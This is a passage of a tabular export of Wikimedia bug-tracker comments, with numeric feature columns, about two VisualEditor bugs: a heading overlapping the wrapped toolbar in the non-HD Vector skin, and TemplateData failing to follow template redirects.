*** This bug has been marked as a duplicate of bug 50645 ***",,,1374106684,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l2askobdymn34t55t5lm,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50645 ***"
53000,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Attaching screenshot...

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373337720,1390878637.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.476190476190476,0.5714285714285714,"Attaching screenshot...

--------------------------
**Version**: unspecified
**Severity**: normal"
247515,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Change 109491 merged by jenkins-bot:
Fix toolbar margins in vector

https://gerrit.wikimedia.org/r/109491",,,1390877338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,"Change 109491 merged by jenkins-bot:
Fix toolbar margins in vector

GERRIT_URL"
247510,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Change 109491 had a related patch set uploaded by Esanders:
Fix toolbar margins in vector

https://gerrit.wikimedia.org/r/109491",,,1390853505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.631578947368421,1.0,"Change 109491 had a related patch set uploaded by Esanders:
Fix toolbar margins in vector

GERRIT_URL"
247503,VisualEditor: Heading overlays toolbar in non-HD Vector integration,*** Bug 52205 has been marked as a duplicate of this bug. ***,,,1380221526,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52205 has been marked as a duplicate of this bug. ***
247498,VisualEditor: Heading overlays toolbar in non-HD Vector integration,Same as bug 52205?,,,1380219226,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Same as bug 52205?
247492,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Steps to reproduce:
1. Reduce the screen width until the toolbar wraps. You should now see something like attachment 12793
2. Reduce the screen width even more until the screen is too narrow for the HD stylesheet. The skin elements will animate and you'll end up with something that looks like attachment 12794.",,,1373337951,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,1,,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,3.0,13.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.209677419354839,0.7258064516129032,"Steps to reproduce:
1. Reduce the screen width until the toolbar wraps. You should now see something like attachment 12793
2. Reduce the screen width even more until the screen is too narrow for the HD stylesheet. The skin elements will animate and you'll end up with something that looks like attachment 12794."
247485,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Created attachment 12794
<h1> protrudes into wrapped toolbar in non-HD stylesheet

**Attached**: {F11631}",,,1373337835,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.6538461538461537,0.8846153846153846,"Created attachment 12794
<h1> protrudes into wrapped toolbar in non-HD stylesheet

**Attached**: {F11631}"
247475,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Created attachment 12793
Wrapping toolbar correctly pushes down <h1> in HD stylesheet

**Attached**: {F11630}",,,1373337806,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,3.92,0.88,"Created attachment 12793
Wrapping toolbar correctly pushes down <h1> in HD stylesheet

**Attached**: {F11630}"
52964,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Not sure if this is TemplateData or VisualEditor, please move it if I’m wrong.

If I edit a page where a redirection to a template is used, I don’t see the available parameters and other data that TemplateData provides, but the redirection works like the real template, so it should use the same data.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373307420,1400886921.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-it7sgrllp5k6su66uukw,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,1.0,1.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,9.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,9.0,2.0,12.0,6.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,6.0,7.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.962962962962963,0.654320987654321,"Not sure if this is TemplateData or VisualEditor, please move it if I’m wrong.

If I edit a page where a redirection to a template is used, I don’t see the available parameters and other data that TemplateData provides, but the redirection works like the real template, so it should use the same data.

--------------------------
**Version**: unspecified
**Severity**: normal"
245509,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,Per report. ;-),,,1402013615,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Per report. ;-)
245502,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Confirmed fixed in 1.24wmf7, yay :-)",,,1402012066,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,"Confirmed fixed in 1.24wmf7, yay :-)"
245495,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Change 135065 merged by jenkins-bot:
Follow redirects when looking up template data

https://gerrit.wikimedia.org/r/135065",,,1400886803,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.722222222222222,1.0,"Change 135065 merged by jenkins-bot:
Follow redirects when looking up template data

GERRIT_URL"
245487,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Change 135064 merged by jenkins-bot:
Allow following of redirects via API

https://gerrit.wikimedia.org/r/135064",,,1400866371,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.470588235294118,1.0,"Change 135064 merged by jenkins-bot:
Allow following of redirects via API

GERRIT_URL"
245480,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Change 135065 had a related patch set uploaded by Alex Monk:
Follow redirects when looking up template data

https://gerrit.wikimedia.org/r/135065",,,1400865643,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,23.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.681818181818182,1.0,"Change 135065 had a related patch set uploaded by Alex Monk:
Follow redirects when looking up template data

GERRIT_URL"
245473,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Change 135064 had a related patch set uploaded by Alex Monk:
Allow following of redirects via API

https://gerrit.wikimedia.org/r/135064",,,1400865567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.476190476190476,1.0,"Change 135064 had a related patch set uploaded by Alex Monk:
Allow following of redirects via API

GERRIT_URL"
245467,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"(In reply to Krinkle from comment #3)
> Both VE and TemplateData should address this in their own way. Both parties
> need to do something.
> 
> 1) Resolve redirects in API interaction:
>   - TemplateData should have an option to resolve redirects in the given
> titles (like action=query). the mapping will be added similarly to how we
> normalise titles.

This is a built-in feature in ApiPageSet, which is used by ApiQuery modules, as well as by ApiTemplateData. When enabled, passing &redirects to the request resolves redirects.",,,1400864330,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,46,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,15.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7333333333333334,0.65,"(In reply to Krinkle from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is a built-in feature in ApiPageSet, which is used by ApiQuery modules, as well as by ApiTemplateData. When enabled, passing &redirects to the request resolves redirects."
245461,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,This is still a major usability issue with templatedata as template redirects are quite common. Any update?,,,1399842534,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,44,,5.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,1.0,This is still a major usability issue with templatedata as template redirects are quite common. Any update?
245455,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"We have been talking about returning more metadata like the list of used templates from the PHP preprocessor, and use that for dependency tracking. Even with that info I'm not convinced that we should attempt to directly skip redirects in Parsoid, as that would add a lot of complexity and unexpected behavior.

It should not be that hard to handle this in TemplateData itself, and to me it looks like the best place to do it.",,,1395417398,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,2.0,6.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,5.0,0.0,6.0,19.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,5.0,0.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,2.0,8.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,19.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,2.0,2.0,1.0,1.0,0.0,4.190476190476191,0.75,"We have been talking about returning more metadata like the list of used templates from the PHP preprocessor, and use that for dependency tracking. Even with that info I'm not convinced that we should attempt to directly skip redirects in Parsoid, as that would add a lot of complexity and unexpected behavior.

It should not be that hard to handle this in TemplateData itself, and to me it looks like the best place to do it."
245448,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"This is a little tricky on the Parsoid end since Parsoid gets the PHP preprocessor to expand template source for us (which we then parse and process). So, Parsoid never sees the redirect that are embedded in templates (like {{cn}}). So, this will require us to instrument the PHP preprocessor to provide Parsoid with this information. Offhand, I cannot think of any efficient trick that will solve this.

So, I think approach (1) above where TemplateData adds redirection info and VE uses that might work for the common case where the redirect target is not a function of template args.",,,1380898648,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,13,,1.0,0.0,0.0,0.5,1.5,3.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,6.0,8.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.5,1.5,0.0,6.0,2.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.5,0.0,10.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.5,0.0,5.0,2.0,10.0,2.0,1.5,9.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,3.0,8.0,6.0,0.0,0.0,0.0,3.0,0.0,4.5,1.5,1.0,0.0,0.0,0.0,0.0,4.035109289617486,0.7853825136612022,"This is a little tricky on the Parsoid end since Parsoid gets the PHP preprocessor to expand template source for us (which we then parse and process). So, Parsoid never sees the redirect that are embedded in templates (like {{cn}}). So, this will require us to instrument the PHP preprocessor to provide Parsoid with this information. Offhand, I cannot think of any efficient trick that will solve this.

So, I think approach (1) above where TemplateData adds redirection info and VE uses that might work for the common case where the redirect target is not a function of template args."
245442,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Should a new bug for the Parsoid part be filed, so that the Parsoid team to do their part of this? This is a very big issues as some of the most common templates like the iconic {{cn}} are redirect and was asked about again at 
http://en.wikipedia.org/w/index.php?title=Wikipedia%3AVisualEditor%2FFeedback&diff=575686867&oldid=575662727",,,1380867107,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,2.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,9.0,4.0,2.0,17.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,19.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,3.425925925925926,0.8333333333333334,"Should a new bug for the Parsoid part be filed, so that the Parsoid team to do their part of this? This is a very big issues as some of the most common templates like the iconic {{cn}} are redirect and was asked about again at 
URL"
245435,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Both VE and TemplateData should address this in their own way. Both parties need to do something.

1) Resolve redirects in API interaction:
  - TemplateData should have an option to resolve redirects in the given titles (like action=query). the mapping will be added similarly to how we normalise titles.
  - Then the VisualEditor needs to use this map as the API response will put the templatedata for the target title, not the title queried. We do this already with normalised titles, so we can extend that to include redirects in that ""aliasing"" logic for normalised titles.

2) Parsoid giving TemplateData the transcluded page name instead of the wikitext invocation.
  - Right now we sometimes get wikitext instead of a page name, or (in case of redirects) the sourced page name, not the one actually transcluded.
  - If/when Parsoid is able to know what the wikitext expands too etc. (not a blind call to the PHP parser as it is essentially now) this will make that a lot easier and also solve generated transclusion target page names (e.g. {{ {{foo}} }} ).",,,1374776002,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,3,,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,4.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,7.333333333333333,8.666666666666666,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,3.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,14.333333333333334,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,6.333333333333333,1.3333333333333333,6.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.0,2.0,8.666666666666666,3.0,0.0,0.6666666666666666,0.0,2.0,0.0,1.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.0,1.6666666666666667,3.9856456456456457,0.7264864864864865,"Both VE and TemplateData should address this in their own way. Both parties need to do something.

1) Resolve redirects in API interaction:
  - TemplateData should have an option to resolve redirects in the given titles (like action=query). the mapping will be added similarly to how we normalise titles.
  - Then the VisualEditor needs to use this map as the API response will put the templatedata for the target title, not the title queried. We do this already with normalised titles, so we can extend that to include redirects in that ""aliasing"" logic for normalised titles.

2) Parsoid giving TemplateData the transcluded page name instead of the wikitext invocation.
  - Right now we sometimes get wikitext instead of a page name, or (in case of redirects) the sourced page name, not the one actually transcluded.
  - If/when Parsoid is able to know what the wikitext expands too etc. (not a blind call to the PHP parser as it is essentially now) this will make that a lot easier and also solve generated transclusion target page names (e.g. {{ {{foo}} }} )."
245428,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Note from bug 51791 fwiw: this issue is being discussed at
